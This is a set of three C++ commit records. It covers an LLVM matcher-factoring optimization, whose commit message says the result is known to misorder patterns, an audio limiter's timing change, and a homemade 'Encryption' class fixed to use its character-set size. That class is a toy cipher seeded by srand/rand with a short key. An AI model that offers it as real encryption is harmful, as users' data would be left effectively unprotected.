<commit_before>//===- DAGISelMatcherOpt.cpp - Optimize a DAG Matcher ---------------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements the DAG Matcher optimizer. // //===----------------------------------------------------------------------===// #include "DAGISelMatcher.h" #include "llvm/ADT/DenseMap.h" #include <vector> using namespace llvm; static void ContractNodes(OwningPtr<Matcher> &MatcherPtr) { // If we reached the end of the chain, we're done. Matcher *N = MatcherPtr.get(); if (N == 0) return; // If we have a scope node, walk down all of the children. if (ScopeMatcher *Scope = dyn_cast<ScopeMatcher>(N)) { for (unsigned i = 0, e = Scope->getNumChildren(); i != e; ++i) { OwningPtr<Matcher> Child(Scope->takeChild(i)); ContractNodes(Child); Scope->resetChild(i, Child.take()); } return; } // If we found a movechild node with a node that comes in a 'foochild' form, // transform it. if (MoveChildMatcher *MC = dyn_cast<MoveChildMatcher>(N)) { Matcher *New = 0; if (RecordMatcher *RM = dyn_cast<RecordMatcher>(MC->getNext())) New = new RecordChildMatcher(MC->getChildNo(), RM->getWhatFor()); if (CheckTypeMatcher *CT= dyn_cast<CheckTypeMatcher>(MC->getNext())) New = new CheckChildTypeMatcher(MC->getChildNo(), CT->getType()); if (New) { // Insert the new node. New->setNext(MatcherPtr.take()); MatcherPtr.reset(New); // Remove the old one. MC->setNext(MC->getNext()->takeNext()); return ContractNodes(MatcherPtr); } } if (MoveChildMatcher *MC = dyn_cast<MoveChildMatcher>(N)) if (MoveParentMatcher *MP = dyn_cast<MoveParentMatcher>(MC->getNext())) { MatcherPtr.reset(MP->takeNext()); return ContractNodes(MatcherPtr); } ContractNodes(N->getNextPtr()); } static void FactorNodes(OwningPtr<Matcher> &MatcherPtr) { // If we reached the end of the chain, we're done. Matcher *N = MatcherPtr.get(); if (N == 0) return; // If this is not a push node, just scan for one. ScopeMatcher *Scope = dyn_cast<ScopeMatcher>(N); if (Scope == 0) return FactorNodes(N->getNextPtr()); // Okay, pull together the children of the scope node into a vector so we can // inspect it more easily. While we're at it, bucket them up by the hash // code of their first predicate. SmallVector<Matcher*, 32> OptionsToMatch; typedef DenseMap<unsigned, std::vector<Matcher*> > HashTableTy; HashTableTy MatchersByHash; for (unsigned i = 0, e = Scope->getNumChildren(); i != e; ++i) { // Factor the subexpression. OwningPtr<Matcher> Child(Scope->takeChild(i)); FactorNodes(Child); // FIXME: Eventually don't pass ownership back to the scope node. Scope->resetChild(i, Child.take()); if (Matcher *N = Scope->getChild(i)) { OptionsToMatch.push_back(N); MatchersByHash[N->getHash()].push_back(N); } } SmallVector<Matcher*, 32> NewOptionsToMatch; // Now that we have bucketed up things by hash code, iterate over sets of // matchers that all start with the same node. We would like to iterate over // the hash table, but it isn't in deterministic order, emulate this by going // about this slightly backwards. After each set of nodes is processed, we // remove them from MatchersByHash. for (unsigned i = 0, e = OptionsToMatch.size(); i != e && !MatchersByHash.empty(); ++i) { // Find the set of matchers that start with this node. Matcher *Optn = OptionsToMatch[i]; // Find all nodes that hash to the same value. If there is no entry in the // hash table, then we must have previously processed a node equal to this // one. HashTableTy::iterator DMI = MatchersByHash.find(Optn->getHash()); if (DMI == MatchersByHash.end()) continue; std::vector<Matcher*> &HashMembers = DMI->second; assert(!HashMembers.empty() && "Should be removed if empty"); // Check to see if this node is in HashMembers, if not it was equal to a // previous node and removed. std::vector<Matcher*>::iterator MemberSlot = std::find(HashMembers.begin(), HashMembers.end(), Optn); if (MemberSlot == HashMembers.end()) continue; // If the node *does* exist in HashMembers, then we've confirmed that it // hasn't been processed as equal to a previous node. Process it now, start // by removing it from the list of hash-equal nodes. HashMembers.erase(MemberSlot); // Scan all of the hash members looking for ones that are equal, removing // them from HashMembers, adding them to EqualMatchers. SmallVector<Matcher*, 8> EqualMatchers; // Scan the vector backwards so we're generally removing from the end to // avoid pointless data copying. for (unsigned i = HashMembers.size(); i != 0; --i) { if (!HashMembers[i-1]->isEqual(Optn)) continue; EqualMatchers.push_back(HashMembers[i-1]); HashMembers.erase(HashMembers.begin()+i-1); } EqualMatchers.push_back(Optn); // Reverse the vector so that we preserve the match ordering. std::reverse(EqualMatchers.begin(), EqualMatchers.end()); // If HashMembers is empty at this point, then we've gotten all nodes with // the same hash, nuke the entry in the hash table. if (HashMembers.empty()) MatchersByHash.erase(Optn->getHash()); // Okay, we have the list of all matchers that start with the same node as // Optn. If there is more than one in the set, we want to factor them. if (EqualMatchers.size() == 1) { NewOptionsToMatch.push_back(Optn); continue; } // Factor these checks by pulling the first node off each entry and // discarding it, replacing it with... // something amazing?? // FIXME: Need to change the Scope model. } // Reassemble a new Scope node. } Matcher *llvm::OptimizeMatcher(Matcher *TheMatcher) { OwningPtr<Matcher> MatcherPtr(TheMatcher); ContractNodes(MatcherPtr); FactorNodes(MatcherPtr); return MatcherPtr.take(); } <commit_msg>finish off the factoring optimization along the lines of the current design. This generates a matcher that successfully runs, but it turns out that the factoring we're doing violates the ordering of patterns, so we end up matching (e.g.) movups where we want movaps. This won't due, but I'll address this in a follow on patch. It's nice to not be on by default yet! :)<commit_after>//===- DAGISelMatcherOpt.cpp - Optimize a DAG Matcher ---------------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements the DAG Matcher optimizer. // //===----------------------------------------------------------------------===// #include "DAGISelMatcher.h" #include "llvm/ADT/DenseMap.h" #include <vector> using namespace llvm; static void ContractNodes(OwningPtr<Matcher> &MatcherPtr) { // If we reached the end of the chain, we're done. Matcher *N = MatcherPtr.get(); if (N == 0) return; // If we have a scope node, walk down all of the children. if (ScopeMatcher *Scope = dyn_cast<ScopeMatcher>(N)) { for (unsigned i = 0, e = Scope->getNumChildren(); i != e; ++i) { OwningPtr<Matcher> Child(Scope->takeChild(i)); ContractNodes(Child); Scope->resetChild(i, Child.take()); } return; } // If we found a movechild node with a node that comes in a 'foochild' form, // transform it. if (MoveChildMatcher *MC = dyn_cast<MoveChildMatcher>(N)) { Matcher *New = 0; if (RecordMatcher *RM = dyn_cast<RecordMatcher>(MC->getNext())) New = new RecordChildMatcher(MC->getChildNo(), RM->getWhatFor()); if (CheckTypeMatcher *CT= dyn_cast<CheckTypeMatcher>(MC->getNext())) New = new CheckChildTypeMatcher(MC->getChildNo(), CT->getType()); if (New) { // Insert the new node. New->setNext(MatcherPtr.take()); MatcherPtr.reset(New); // Remove the old one. MC->setNext(MC->getNext()->takeNext()); return ContractNodes(MatcherPtr); } } if (MoveChildMatcher *MC = dyn_cast<MoveChildMatcher>(N)) if (MoveParentMatcher *MP = dyn_cast<MoveParentMatcher>(MC->getNext())) { MatcherPtr.reset(MP->takeNext()); return ContractNodes(MatcherPtr); } ContractNodes(N->getNextPtr()); } static void FactorNodes(OwningPtr<Matcher> &MatcherPtr) { // If we reached the end of the chain, we're done. Matcher *N = MatcherPtr.get(); if (N == 0) return; // If this is not a push node, just scan for one. ScopeMatcher *Scope = dyn_cast<ScopeMatcher>(N); if (Scope == 0) return FactorNodes(N->getNextPtr()); // Okay, pull together the children of the scope node into a vector so we can // inspect it more easily. While we're at it, bucket them up by the hash // code of their first predicate. SmallVector<Matcher*, 32> OptionsToMatch; typedef DenseMap<unsigned, std::vector<Matcher*> > HashTableTy; HashTableTy MatchersByHash; for (unsigned i = 0, e = Scope->getNumChildren(); i != e; ++i) { // Factor the subexpression. OwningPtr<Matcher> Child(Scope->takeChild(i)); FactorNodes(Child); if (Matcher *N = Child.take()) { OptionsToMatch.push_back(N); MatchersByHash[N->getHash()].push_back(N); } } SmallVector<Matcher*, 32> NewOptionsToMatch; // Now that we have bucketed up things by hash code, iterate over sets of // matchers that all start with the same node. We would like to iterate over // the hash table, but it isn't in deterministic order, emulate this by going // about this slightly backwards. After each set of nodes is processed, we // remove them from MatchersByHash. for (unsigned i = 0, e = OptionsToMatch.size(); i != e && !MatchersByHash.empty(); ++i) { // Find the set of matchers that start with this node. Matcher *Optn = OptionsToMatch[i]; // Find all nodes that hash to the same value. If there is no entry in the // hash table, then we must have previously processed a node equal to this // one. HashTableTy::iterator DMI = MatchersByHash.find(Optn->getHash()); if (DMI == MatchersByHash.end()) { delete Optn; continue; } std::vector<Matcher*> &HashMembers = DMI->second; assert(!HashMembers.empty() && "Should be removed if empty"); // Check to see if this node is in HashMembers, if not it was equal to a // previous node and removed. std::vector<Matcher*>::iterator MemberSlot = std::find(HashMembers.begin(), HashMembers.end(), Optn); if (MemberSlot == HashMembers.end()) { delete Optn; continue; } // If the node *does* exist in HashMembers, then we've confirmed that it // hasn't been processed as equal to a previous node. Process it now, start // by removing it from the list of hash-equal nodes. HashMembers.erase(MemberSlot); // Scan all of the hash members looking for ones that are equal, removing // them from HashMembers, adding them to EqualMatchers. SmallVector<Matcher*, 8> EqualMatchers; // Scan the vector backwards so we're generally removing from the end to // avoid pointless data copying. for (unsigned i = HashMembers.size(); i != 0; --i) { if (!HashMembers[i-1]->isEqual(Optn)) continue; EqualMatchers.push_back(HashMembers[i-1]); HashMembers.erase(HashMembers.begin()+i-1); } EqualMatchers.push_back(Optn); // Reverse the vector so that we preserve the match ordering. std::reverse(EqualMatchers.begin(), EqualMatchers.end()); // If HashMembers is empty at this point, then we've gotten all nodes with // the same hash, nuke the entry in the hash table. if (HashMembers.empty()) MatchersByHash.erase(Optn->getHash()); // Okay, we have the list of all matchers that start with the same node as // Optn. If there is more than one in the set, we want to factor them. if (EqualMatchers.size() == 1) { NewOptionsToMatch.push_back(Optn); continue; } // Factor these checks by pulling the first node off each entry and // discarding it. Take the first one off the first entry to reuse. Matcher *Shared = Optn; Optn = Optn->takeNext(); EqualMatchers[0] = Optn; // Skip the first node. Leave the first node around though, we'll delete it // on subsequent iterations over OptionsToMatch. for (unsigned i = 1, e = EqualMatchers.size(); i != e; ++i) EqualMatchers[i] = EqualMatchers[i]->takeNext(); Shared->setNext(new ScopeMatcher(&EqualMatchers[0], EqualMatchers.size())); // Recursively factor the newly created node. FactorNodes(Shared->getNextPtr()); NewOptionsToMatch.push_back(Shared); } // Reassemble a new Scope node. assert(!NewOptionsToMatch.empty() && "where'd all our children go?"); if (NewOptionsToMatch.size() == 1) MatcherPtr.reset(NewOptionsToMatch[0]); else { Scope->setNumChildren(NewOptionsToMatch.size()); for (unsigned i = 0, e = NewOptionsToMatch.size(); i != e; ++i) Scope->resetChild(i, NewOptionsToMatch[i]); } } Matcher *llvm::OptimizeMatcher(Matcher *TheMatcher) { OwningPtr<Matcher> MatcherPtr(TheMatcher); ContractNodes(MatcherPtr); FactorNodes(MatcherPtr); return MatcherPtr.take(); } <|endoftext|>
<commit_before>#include "pch.h" #include "DspLimiter.h" namespace SaneAudioRenderer { namespace { inline bool OverflowingLess(uint32_t a, uint32_t b) { return a - b > UINT32_MAX / 2; } inline float f_x(const std::pair<uint32_t, float>& left, const std::pair<uint32_t, float>& right) { assert(OverflowingLess(left.first, right.first)); return (right.second - left.second) / (right.first - left.first); } inline float f(const std::pair<uint32_t, float>& left, float x, uint32_t pos) { return x * (pos - left.first) + left.second; } inline float f(const std::pair<uint32_t, float>& left, const std::pair<uint32_t, float>& right, uint32_t pos) { return f(left, f_x(left, right), pos); } } void DspLimiter::Initialize(ISettings* pSettings, uint32_t rate, bool exclusive) { assert(pSettings); m_settings = pSettings; UpdateSettings(); m_exclusive = exclusive; m_attackFrames = (uint32_t)std::round(rate / 7777.0f); m_releaseFrames = (uint32_t)std::round(rate / 500.0f); m_windowFrames = m_attackFrames + m_releaseFrames; m_buffer.clear(); m_bufferFrameCount = 0; m_bufferFirstFrame = 0; m_peaks = {}; } bool DspLimiter::Active() { return !m_buffer.empty(); } void DspLimiter::Process(DspChunk& chunk) { if (chunk.IsEmpty()) return; if (m_settingsSerial != m_settings->GetSerial()) UpdateSettings(); if (chunk.GetFormat() == DspFormat::Float && (m_exclusive || m_enabledShared)) { DspChunk::ToFloat(chunk); m_bufferFrameCount += chunk.GetFrameCount(); m_buffer.push_back(std::move(chunk)); assert(chunk.IsEmpty()); AnalyzeLastChunk(); size_t bufferFrontFrames = m_buffer.front().GetFrameCount(); if (m_bufferFrameCount - bufferFrontFrames >= m_windowFrames) { ModifyFirstChunk(); m_bufferFrameCount -= bufferFrontFrames; m_bufferFirstFrame += bufferFrontFrames; chunk = std::move(m_buffer.front()); m_buffer.pop_front(); } } else if (!m_buffer.empty()) { DspChunk::ToFloat(chunk); m_bufferFrameCount += chunk.GetFrameCount(); m_buffer.push_back(std::move(chunk)); assert(chunk.IsEmpty()); DspChunk output; Finish(output); assert(!output.IsEmpty()); assert(m_buffer.empty()); chunk = std::move(output); } } void DspLimiter::Finish(DspChunk& chunk) { Process(chunk); if (!m_buffer.empty()) { assert(chunk.IsEmpty() || chunk.GetFormat() == DspFormat::Float); DspChunk output(DspFormat::Float, m_buffer.front().GetChannelCount(), chunk.GetFrameCount() + m_bufferFrameCount, m_buffer.front().GetRate()); size_t offset = chunk.GetSize(); if (!chunk.IsEmpty()) memcpy(output.GetData(), chunk.GetConstData(), offset); while (!m_buffer.empty()) { ModifyFirstChunk(); const auto& front = m_buffer.front(); assert(front.GetFormat() == DspFormat::Float); memcpy(output.GetData() + offset, front.GetConstData(), front.GetSize()); offset += front.GetSize(); m_bufferFrameCount -= front.GetFrameCount(); m_bufferFirstFrame += front.GetFrameCount(); m_buffer.pop_front(); } assert(m_bufferFrameCount == 0); chunk = std::move(output); } } void DspLimiter::AnalyzeLastChunk() { const DspChunk& chunk = m_buffer.back(); assert(chunk.GetFormat() == DspFormat::Float); const uint64_t chunkFirstFrame = m_bufferFirstFrame + m_bufferFrameCount - chunk.GetFrameCount(); const uint32_t channels = chunk.GetChannelCount(); auto data = reinterpret_cast<const float*>(chunk.GetConstData()); for (size_t i = 0, n = chunk.GetSampleCount(); i < n; i++) { const float sample = std::fabs(data[i]); if (sample > m_limit) { const uint32_t channel = (uint32_t)(i % channels); const uint32_t peakFrame32 = (uint32_t)(chunkFirstFrame + i / channels); auto& channelPeaks = m_peaks[channel]; if (channelPeaks.empty()) { //DbgOutString((std::wstring(L"start ") + std::to_wstring(peakFrame) + L" " + // std::to_wstring(sample) + L"\n").c_str()); channelPeaks.emplace_back(peakFrame32 - m_attackFrames, m_limit); channelPeaks.emplace_back(peakFrame32, sample); channelPeaks.emplace_back(peakFrame32 + m_releaseFrames, m_limit); } else { assert(channelPeaks.size() > 1); assert(channelPeaks.back().second == m_limit); auto back = channelPeaks.rbegin(); auto nextToBack = back + 1; if (OverflowingLess(back->first, peakFrame32) || f(*nextToBack, *back, peakFrame32) < sample) { channelPeaks.pop_back(); back = channelPeaks.rbegin(); nextToBack = back + 1; while (nextToBack != channelPeaks.rend()) { if (sample >= back->second && f(*nextToBack, {peakFrame32, sample}, back->first) > back->second) { //DbgOutString((std::wstring(L"drop ") + std::to_wstring(back->first) + L" " + // std::to_wstring(back->second) + L"\n").c_str()); channelPeaks.pop_back(); back = channelPeaks.rbegin(); nextToBack = back + 1; continue; } break; } { //DbgOutString((std::wstring(L"add ") + std::to_wstring(peakFrame) + L" " + // std::to_wstring(sample) + L"\n").c_str()); channelPeaks.emplace_back(peakFrame32, sample); channelPeaks.emplace_back(peakFrame32 + m_releaseFrames, m_limit); } } else { //DbgOutString((std::wstring(L"consume ") + std::to_wstring(peakFrame) + L" " + // std::to_wstring(sample) + L"\n").c_str()); } } } } } void DspLimiter::ModifyFirstChunk() { DspChunk& chunk = m_buffer.front(); const uint32_t chunkFirstFrame32 = (uint32_t)m_bufferFirstFrame; for (size_t channel = 0, channels = chunk.GetChannelCount(); channel < channels; channel++) { auto& channelPeaks = m_peaks[channel]; if (!channelPeaks.empty()) { assert(channelPeaks.size() > 1); auto left = channelPeaks[0]; auto right = channelPeaks[1]; float x = f_x(left, right); const size_t frameOffset = OverflowingLess(left.first, chunkFirstFrame32) ? 0 : (left.first - chunkFirstFrame32); auto data = reinterpret_cast<float*>(chunk.GetData()); for (size_t i = frameOffset * channels + channel, n = chunk.GetSampleCount(); i < n; i += channels) { const uint32_t frame32 = (uint32_t)(chunkFirstFrame32 + i / channels); float& sample = data[i]; sample = sample / f(left, x, frame32) * m_limit; assert(std::fabs(sample) <= m_limit); if (!OverflowingLess(frame32, right.first)) { assert(right.first == frame32); channelPeaks.pop_front(); if (channelPeaks.size() == 1) { //DbgOutString(L"clear\n"); channelPeaks.clear(); break; } else { left = channelPeaks[0]; right = channelPeaks[1]; x = f_x(left, right); } } } } } } void DspLimiter::UpdateSettings() { m_settingsSerial = m_settings->GetSerial(); BOOL enabledShared; m_settings->GetSharedModePeakLimiterEnabled(&enabledShared); m_enabledShared = !!enabledShared; } } <commit_msg>Add smart hold phase to limiter dsp<commit_after>#include "pch.h" #include "DspLimiter.h" namespace SaneAudioRenderer { namespace { inline bool OverflowingLess(uint32_t a, uint32_t b) { return a - b > UINT32_MAX / 2; } inline float f_x(const std::pair<uint32_t, float>& left, const std::pair<uint32_t, float>& right) { assert(OverflowingLess(left.first, right.first)); return (right.second - left.second) / (right.first - left.first); } inline float f(const std::pair<uint32_t, float>& left, float x, uint32_t pos) { return x * (pos - left.first) + left.second; } inline float f(const std::pair<uint32_t, float>& left, const std::pair<uint32_t, float>& right, uint32_t pos) { return f(left, f_x(left, right), pos); } } void DspLimiter::Initialize(ISettings* pSettings, uint32_t rate, bool exclusive) { assert(pSettings); m_settings = pSettings; UpdateSettings(); m_exclusive = exclusive; m_attackFrames = (uint32_t)std::round(rate / 2000.0f); m_releaseFrames = (uint32_t)std::round(rate / 2000.0f); m_windowFrames = (uint32_t)std::round(rate / 100.0f); m_buffer.clear(); m_bufferFrameCount = 0; m_bufferFirstFrame = 0; m_peaks = {}; } bool DspLimiter::Active() { return !m_buffer.empty(); } void DspLimiter::Process(DspChunk& chunk) { if (chunk.IsEmpty()) return; if (m_settingsSerial != m_settings->GetSerial()) UpdateSettings(); if (chunk.GetFormat() == DspFormat::Float && (m_exclusive || m_enabledShared)) { DspChunk::ToFloat(chunk); m_bufferFrameCount += chunk.GetFrameCount(); m_buffer.push_back(std::move(chunk)); assert(chunk.IsEmpty()); AnalyzeLastChunk(); size_t bufferFrontFrames = m_buffer.front().GetFrameCount(); if (m_bufferFrameCount - bufferFrontFrames >= m_windowFrames) { ModifyFirstChunk(); m_bufferFrameCount -= bufferFrontFrames; m_bufferFirstFrame += bufferFrontFrames; chunk = std::move(m_buffer.front()); m_buffer.pop_front(); } } else if (!m_buffer.empty()) { DspChunk::ToFloat(chunk); m_bufferFrameCount += chunk.GetFrameCount(); m_buffer.push_back(std::move(chunk)); assert(chunk.IsEmpty()); DspChunk output; Finish(output); assert(!output.IsEmpty()); assert(m_buffer.empty()); chunk = std::move(output); } } void DspLimiter::Finish(DspChunk& chunk) { Process(chunk); if (!m_buffer.empty()) { assert(chunk.IsEmpty() || chunk.GetFormat() == DspFormat::Float); DspChunk output(DspFormat::Float, m_buffer.front().GetChannelCount(), chunk.GetFrameCount() + m_bufferFrameCount, m_buffer.front().GetRate()); size_t offset = chunk.GetSize(); if (!chunk.IsEmpty()) memcpy(output.GetData(), chunk.GetConstData(), offset); while (!m_buffer.empty()) { ModifyFirstChunk(); const auto& front = m_buffer.front(); assert(front.GetFormat() == DspFormat::Float); memcpy(output.GetData() + offset, front.GetConstData(), front.GetSize()); offset += front.GetSize(); m_bufferFrameCount -= front.GetFrameCount(); m_bufferFirstFrame += front.GetFrameCount(); m_buffer.pop_front(); } assert(m_bufferFrameCount == 0); chunk = std::move(output); } } void DspLimiter::AnalyzeLastChunk() { const DspChunk& chunk = m_buffer.back(); assert(chunk.GetFormat() == DspFormat::Float); const uint64_t chunkFirstFrame = m_bufferFirstFrame + m_bufferFrameCount - chunk.GetFrameCount(); const uint32_t channels = chunk.GetChannelCount(); auto data = reinterpret_cast<const float*>(chunk.GetConstData()); for (size_t i = 0, n = chunk.GetSampleCount(); i < n; i++) { const float sample = std::fabs(data[i]); if (sample > m_limit) { const uint32_t channel = (uint32_t)(i % channels); const uint32_t peakFrame32 = (uint32_t)(chunkFirstFrame + i / channels); auto& channelPeaks = m_peaks[channel]; if (channelPeaks.empty()) { //DbgOutString((std::wstring(L"start ") + std::to_wstring(peakFrame) + L" " + // std::to_wstring(sample) + L"\n").c_str()); channelPeaks.emplace_back(peakFrame32 - m_attackFrames, m_limit); channelPeaks.emplace_back(peakFrame32, sample); channelPeaks.emplace_back(peakFrame32 + m_releaseFrames, m_limit); } else { assert(channelPeaks.size() > 1); assert(channelPeaks.back().second == m_limit); auto back = channelPeaks.rbegin(); auto nextToBack = back + 1; if (OverflowingLess(back->first, peakFrame32) || f(*nextToBack, *back, peakFrame32) < sample) { channelPeaks.pop_back(); back = channelPeaks.rbegin(); nextToBack = back + 1; while (nextToBack != channelPeaks.rend()) { if (sample >= back->second && f(*nextToBack, {peakFrame32, sample}, back->first) > back->second) { //DbgOutString((std::wstring(L"drop ") + std::to_wstring(back->first) + L" " + // std::to_wstring(back->second) + L"\n").c_str()); channelPeaks.pop_back(); back = channelPeaks.rbegin(); nextToBack = back + 1; continue; } break; } { //DbgOutString((std::wstring(L"add ") + std::to_wstring(peakFrame) + L" " + // std::to_wstring(sample) + L"\n").c_str()); channelPeaks.emplace_back(peakFrame32, sample); channelPeaks.emplace_back(peakFrame32 + m_releaseFrames, m_limit); } } else { //DbgOutString((std::wstring(L"consume ") + std::to_wstring(peakFrame) + L" " + // std::to_wstring(sample) + L"\n").c_str()); } } } } } void DspLimiter::ModifyFirstChunk() { DspChunk& chunk = m_buffer.front(); const uint32_t chunkFirstFrame32 = (uint32_t)m_bufferFirstFrame; for (size_t channel = 0, channels = chunk.GetChannelCount(); channel < channels; channel++) { auto& channelPeaks = m_peaks[channel]; if (!channelPeaks.empty()) { assert(channelPeaks.size() > 1); auto left = channelPeaks[0]; auto right = channelPeaks[1]; float x = f_x(left, right); const size_t frameOffset = OverflowingLess(left.first, chunkFirstFrame32) ? 0 : (left.first - chunkFirstFrame32); auto data = reinterpret_cast<float*>(chunk.GetData()); for (size_t i = frameOffset * channels + channel, n = chunk.GetSampleCount(); i < n; i += channels) { const uint32_t frame32 = (uint32_t)(chunkFirstFrame32 + i / channels); float& sample = data[i]; sample = sample / f(left, x, frame32) * m_limit; assert(std::fabs(sample) <= m_limit); if (!OverflowingLess(frame32, right.first)) { assert(right.first == frame32); channelPeaks.pop_front(); if (channelPeaks.size() == 1) { //DbgOutString(L"clear\n"); channelPeaks.clear(); break; } else { left = channelPeaks[0]; right = channelPeaks[1]; x = f_x(left, right); } } } } } } void DspLimiter::UpdateSettings() { m_settingsSerial = m_settings->GetSerial(); BOOL enabledShared; m_settings->GetSharedModePeakLimiterEnabled(&enabledShared); m_enabledShared = !!enabledShared; } } <|endoftext|>
<commit_before>#include "Encryption.h" #include <QDebug> // DEBUG // std::string version Encryption::Encryption(unsigned short key, string & opseq, unsigned short charsiz) : m_Key(key), m_OpSequence(opseq), m_CharSetSize(charsiz), m_Perm(0) {} // QString version Encryption::Encryption(unsigned short key, QString & opseq, unsigned short charsiz) : m_Key(key), m_OpSequence(opseq.toStdString()), m_CharSetSize(charsiz) {} string Encryption::encrypt(const string & str) { int n = m_OpSequence.length(); //qDebug() << " DEBUG: encrypt() string size = " << n << endl; string buf = str; for (int i = 0; i <n; ++i) { switch(m_OpSequence[i]) { case 'p': buf = permute(buf); break; case 's': buf = shift(buf, m_Key); break; default: throw exception(); break; } } //qDebug() << QString(" DEBUG(line%1): encrypt completed").arg(__LINE__) <<endl; return buf; } string Encryption::decrypt(const string &str) { int n = m_OpSequence.length(); string buf = str; for (int i = n - 1; i >= 0; --i) { switch(m_OpSequence[i]) { case 'p': buf = unpermute(buf); break; case 's': buf = unshift(buf); break; default: throw exception(); break; } } return buf; } string Encryption::shift(const string & text, const unsigned key) { m_Key = key; srand(m_Key); string m_buf = ""; int size = text.length(); for (int i = 0; i < size; i++) { m_buf += char((text[i] +rand()) % 128); } return m_buf; } QString Encryption::shift(const QString & text, const unsigned key) { return QString(shift(text.toStdString(), key).c_str()); } string Encryption::unshift(const string & text) const { srand(m_Key); string m_buf = ""; int size = text.length(); for (int i = 0; i < size; i++) { int val = (text[i] - rand()) % 128; val = ( val < 0 ) ? (val + 128) : val; m_buf += char(val); } return m_buf; } QString Encryption::unshift(const QString & text) const { return QString(unshift(text.toStdString()).c_str()); } // given string, return a new string with char orders permutated string Encryption::permute(const string & str) { //qDebug() << QString(" DEBUG(file:%1, Linee:%2: permute begin").arg(__FILE__).arg(__LINE__) << endl; srand(m_Key); const int str_len = str.length(); gen_perm_seq(str_len); string str_buf(str); int s = m_Perm.size(); char c_buf; // char buffer //qDebug() << "permute() input string size = " << str_len; //qDebug() << "permute() m_Perm size =" << s; for (int i = 0; i+1 <= s; i+=2) { c_buf = str_buf[m_Perm[i]]; str_buf[m_Perm[i]] = str_buf[m_Perm[i+1]]; str_buf[m_Perm[i+1]] = c_buf; //qDebug() <<i << ": " << QString(str_buf.c_str()) ; } return str_buf; } // given QString, return a new string with char orders permutated QString Encryption::permute(const QString &str) { return QString(permute(str.toStdString()).c_str()); } string Encryption::unpermute(const string & str) { //qDebug() << QString(" DEBUG(file:%1, Linee:%2: unpermute begin").arg(__FILE__).arg(__LINE__) << endl; srand(m_Key); string str_buf(str); //const unsigned str_len = str.length(); //const unsigned range = str_len * 2; const unsigned range = m_Perm.size(); char c_buf; for (int i = range -1; i-1 >= 0; i -= 2) { c_buf = str_buf[m_Perm[i]]; str_buf[m_Perm[i]] = str_buf[m_Perm[i-1]]; str_buf[m_Perm[i-1]] = c_buf; //qDebug() <<i << ": " << QString(str_buf.c_str()); } //qDebug() << QString(" DEBUG(file:%1, Linee:%2: unpermute completed").arg(__FILE__).arg(__LINE__) << endl; return str_buf; } QString Encryption::unpermute(const QString & str) { return QString(unpermute(str.toStdString()).c_str()); } // generate m_Perm sequence void Encryption::gen_perm_seq(const unsigned str_len) { srand(m_Key); m_Perm.clear(); // generate a random indexs & append to m_Perm for (int i = 0; i < static_cast<int>(str_len); ++i) { m_Perm.push_back(rand() % str_len); m_Perm.push_back(rand() % str_len); } } <commit_msg>fixed bug in shifting functions<commit_after>#include "Encryption.h" #include <QDebug> // DEBUG // std::string version Encryption::Encryption(unsigned short key, string & opseq, unsigned short charsiz) : m_Key(key), m_OpSequence(opseq), m_CharSetSize(charsiz), m_Perm(0) {} // QString version Encryption::Encryption(unsigned short key, QString & opseq, unsigned short charsiz) : m_Key(key), m_OpSequence(opseq.toStdString()), m_CharSetSize(charsiz) {} string Encryption::encrypt(const string & str) { int n = m_OpSequence.length(); //qDebug() << " DEBUG: encrypt() string size = " << n << endl; string buf = str; for (int i = 0; i <n; ++i) { switch(m_OpSequence[i]) { case 'p': buf = permute(buf); break; case 's': buf = shift(buf, m_Key); break; default: throw exception(); break; } } //qDebug() << QString(" DEBUG(line%1): encrypt completed").arg(__LINE__) <<endl; return buf; } string Encryption::decrypt(const string &str) { int n = m_OpSequence.length(); string buf = str; for (int i = n - 1; i >= 0; --i) { switch(m_OpSequence[i]) { case 'p': buf = unpermute(buf); break; case 's': buf = unshift(buf); break; default: throw exception(); break; } } return buf; } string Encryption::shift(const string & text, const unsigned key) { m_Key = key; srand(m_Key); string m_buf = ""; int size = text.length(); for (int i = 0; i < size; i++) { m_buf += char((text[i] +rand()) % m_CharSetSize); } return m_buf; } QString Encryption::shift(const QString & text, const unsigned key) { return QString(shift(text.toStdString(), key).c_str()); } string Encryption::unshift(const string & text) const { srand(m_Key); string m_buf = ""; int size = text.length(); for (int i = 0; i < size; i++) { int val = (text[i] - rand()) % m_CharSetSize; val = ( val < 0 ) ? (val + m_CharSetSize) : val; m_buf += char(val); } return m_buf; } QString Encryption::unshift(const QString & text) const { return QString(unshift(text.toStdString()).c_str()); } // given string, return a new string with char orders permutated string Encryption::permute(const string & str) { //qDebug() << QString(" DEBUG(file:%1, Linee:%2: permute begin").arg(__FILE__).arg(__LINE__) << endl; srand(m_Key); const int str_len = str.length(); gen_perm_seq(str_len); string str_buf(str); int s = m_Perm.size(); char c_buf; // char buffer //qDebug() << "permute() input string size = " << str_len; //qDebug() << "permute() m_Perm size =" << s; for (int i = 0; i+1 <= s; i+=2) { c_buf = str_buf[m_Perm[i]]; str_buf[m_Perm[i]] = str_buf[m_Perm[i+1]]; str_buf[m_Perm[i+1]] = c_buf; //qDebug() <<i << ": " << QString(str_buf.c_str()) ; } return str_buf; } // given QString, return a new string with char orders permutated QString Encryption::permute(const QString &str) { return QString(permute(str.toStdString()).c_str()); } string Encryption::unpermute(const string & str) { //qDebug() << QString(" DEBUG(file:%1, Linee:%2: unpermute begin").arg(__FILE__).arg(__LINE__) << endl; srand(m_Key); string str_buf(str); //const unsigned str_len = str.length(); //const unsigned range = str_len * 2; const unsigned range = m_Perm.size(); char c_buf; for (int i = range -1; i-1 >= 0; i -= 2) { c_buf = str_buf[m_Perm[i]]; str_buf[m_Perm[i]] = str_buf[m_Perm[i-1]]; str_buf[m_Perm[i-1]] = c_buf; //qDebug() <<i << ": " << QString(str_buf.c_str()); } //qDebug() << QString(" DEBUG(file:%1, Linee:%2: unpermute completed").arg(__FILE__).arg(__LINE__) << endl; return str_buf; } QString Encryption::unpermute(const QString & str) { return QString(unpermute(str.toStdString()).c_str()); } // generate m_Perm sequence void Encryption::gen_perm_seq(const unsigned str_len) { srand(m_Key); m_Perm.clear(); // generate a random indexs & append to m_Perm for (int i = 0; i < static_cast<int>(str_len); ++i) { m_Perm.push_back(rand() % str_len); m_Perm.push_back(rand() % str_len); } } <|endoftext|>
